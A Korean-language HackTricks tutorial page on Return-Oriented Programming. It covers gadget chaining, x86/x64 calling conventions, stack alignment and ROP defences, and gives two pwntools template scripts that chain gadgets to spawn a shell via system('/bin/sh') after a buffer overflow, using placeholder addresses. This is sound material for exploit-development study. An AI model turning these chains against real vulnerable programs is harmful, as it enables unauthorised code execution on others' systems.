ROP - Return Oriented Programing

HackTricks 지원

기본 정보

**Return-Oriented Programming (ROP)**은 No-Execute (NX) 또는 **Data Execution Prevention (DEP)**과 같은 보안 조치를 우회하는 데 사용되는 고급 공격 기술입니다. 쉘코드를 삽입하고 실행하는 대신, 공격자는 **"가젯"**이라고 알려진 이진 파일이나 로드된 라이브러리에 이미 존재하는 코드 조각을 활용합니다. 각 가젯은 일반적으로 ret 명령으로 끝나며 데이터를 레지스터 간에 이동하거나 산술 연산을 수행하는 등의 작은 작업을 수행합니다. 이러한 가젯을 연결하여 공격자는 임의의 작업을 수행하는 페이로드를 구성하여 NX/DEP 보호를 우회할 수 있습니다.

ROP 작동 방식

  1. 제어 흐름 탈취: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 합니다. 일반적으로 버퍼 오버플로우를 이용하여 스택에 저장된 반환 주소를 덮어씁니다.

  2. 가젯 체이닝: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출을 위한 인수 설정, 함수 호출 (예: system("/bin/sh")), 필요한 정리 또는 추가 작업을 처리하는 것을 포함할 수 있습니다.

  3. 페이로드 실행: 취약한 함수가 반환될 때, 합법적인 위치로 반환하는 대신 가젯 체인을 실행하기 시작합니다.

도구

일반적으로 ROPgadget, ropper 또는 pwntools (ROP)를 사용하여 가젯을 찾을 수 있습니다.

x86 예제에서 ROP 체인

x86 (32비트) 호출 규칙

  • cdecl: 호출자가 스택을 정리합니다. 함수 인수는 스택에 역순으로 푸시됩니다 (오른쪽에서 왼쪽으로). 인수는 오른쪽에서 왼쪽으로 스택에 푸시됩니다.

  • stdcall: cdecl과 유사하지만 호출된 함수가 스택을 정리합니다.

가젯 찾기

먼저, 이진 파일이나 로드된 라이브러리 내에서 필요한 가젯을 식별했다고 가정해 봅시다. 우리가 관심을 가지는 가젯은 다음과 같습니다:

  • pop eax; ret: 이 가젯은 스택의 최상위 값을 EAX 레지스터로 팝하고 반환하여 EAX를 제어할 수 있게 합니다.

  • pop ebx; ret: 위와 유사하지만 EBX 레지스터를 위한 것으로, EBX를 제어할 수 있게 합니다.

  • mov [ebx], eax; ret: EAX의 값을 EBX가 가리키는 메모리 위치로 이동한 후 반환합니다. 이를 종종 write-what-where 가젯이라고 합니다.

  • 추가로 system() 함수의 주소를 사용할 수 있습니다.

ROP 체인

pwntools를 사용하여 ROP 체인 실행을 위해 스택을 준비하는 방법은 다음과 같습니다. system('/bin/sh')을 실행하도록 목표로 하는데, 체인이 다음과 같이 시작하는 것에 주목하세요:

  1. 정렬 목적으로 ret 명령 (선택 사항)

  2. system 함수의 주소 (ASLR 비활성화 및 알려진 libc를 가정, 자세한 정보는 Ret2lib 참조)

  3. system()에서의 반환 주소를 위한 자리 표시자

  4. "/bin/sh" 문자열 주소 (system 함수의 매개변수)

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

x64(64비트) 호출 규약

  • 유닉스류 시스템에서는 System V AMD64 ABI 호출 규약을 사용하며, 첫 번째로 전달되는 여섯 개의 정수 또는 포인터 인자는 레지스터 RDI, RSI, RDX, RCX, R8, 그리고 R9에 전달됩니다. 추가 인자는 스택을 통해 전달됩니다. 반환 값은 RAX에 배치됩니다.

  • Windows x64 호출 규약은 첫 네 개의 정수 또는 포인터 인자에 대해 RCX, RDX, R8, 그리고 R9를 사용하며, 추가 인자는 스택을 통해 전달됩니다. 반환 값은 RAX에 배치됩니다.

  • 레지스터: 64비트 레지스터에는 RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, 그리고 R8부터 R15까지가 포함됩니다.

가젯 찾기

우리의 목적을 위해, RDI 레지스터를 설정하고(system() 함수에 "/bin/sh" 문자열을 전달하기 위함) system() 함수를 호출할 수 있는 가젯에 집중해봅시다. 다음과 같은 가젯들을 식별했다고 가정해봅시다:

  • pop rdi; ret: 스택의 최상위 값을 RDI로 팝하고 반환합니다. **system()**에 대한 인자를 설정하는 데 필수적입니다.

  • ret: 간단한 반환으로, 특정 시나리오에서 스택 정렬에 유용합니다.

그리고 system() 함수의 주소를 알고 있다고 가정합니다.

ROP Chain

아래는 pwntools를 사용하여 x64에서 **system('/bin/sh')**를 실행하기 위한 ROP 체인을 설정하고 실행하는 예시입니다:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

스택 정렬

x86-64 ABIcall 명령어가 실행될 때 스택이 16바이트 정렬되도록 보장합니다. LIBC는 성능을 최적화하기 위해 movaps와 같은 SSE 명령어를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면 (RSP가 16의 배수가 아닌 경우), system과 같은 함수 호출이 ROP chain에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 system을 호출하기 전에 ret gadget을 추가하면 됩니다.

x86 대 x64 주요 차이점

x64는 처음 몇 개의 인자에 대해 레지스터를 사용하기 때문에 간단한 함수 호출에 대해 x86보다 적은 수의 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수의 증가와 더 큰 주소 공간으로 인해 더 복잡할 수 있습니다. x64 아키텍처의 증가한 레지스터 수와 더 큰 주소 공간은 주로 Return-Oriented Programming (ROP)의 맥락에서 exploit 개발에 대한 기회와 도전을 제공합니다.

ARM64 예제의 ROP chain

ARM64 기본 사항 및 호출 규칙

이 정보를 확인하려면 다음 페이지를 확인하십시오:

Introduction to ARM64v8

ROP에 대한 보호

  • ASLR & PIE: 이러한 보호 기능은 가젯의 주소가 실행 사이에 변경되므로 ROP 사용이 어려워집니다.

  • 스택 카나리: BOF에서는 ROP chain을 악용하기 위해 저장된 스택 카나리를 우회하여 반환 포인터를 덮어쓰는 것이 필요합니다.

  • 가젯 부족: 충분한 가젯이 없으면 ROP chain을 생성할 수 없습니다.

ROP 기반 기술

ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 알아두세요. ROP를 기반으로 한 Ret2XXX 기술이 개발되었습니다:

  • Ret2lib: 로드된 라이브러리에서 임의의 매개변수로 임의의 함수를 호출하기 위해 ROP를 사용합니다 (일반적으로 system('/bin/sh')와 같은 것).

Ret2lib
  • Ret2Syscall: 시스템 호출 (예: execve)을 준비하고 임의의 명령을 실행하기 위해 ROP를 사용합니다.

Ret2syscall
  • EBP2Ret 및 EBP Chaining: 첫 번째는 EIP 대신 EBP를 악용하여 흐름을 제어하고, 두 번째는 Ret2lib과 유사하지만 이 경우 흐름은 주로 EBP 주소로 제어됩니다 (물론 EIP를 제어해야 합니다).

Stack Pivoting - EBP2Ret - EBP chaining

기타 예제 및 참고 자료

Last updated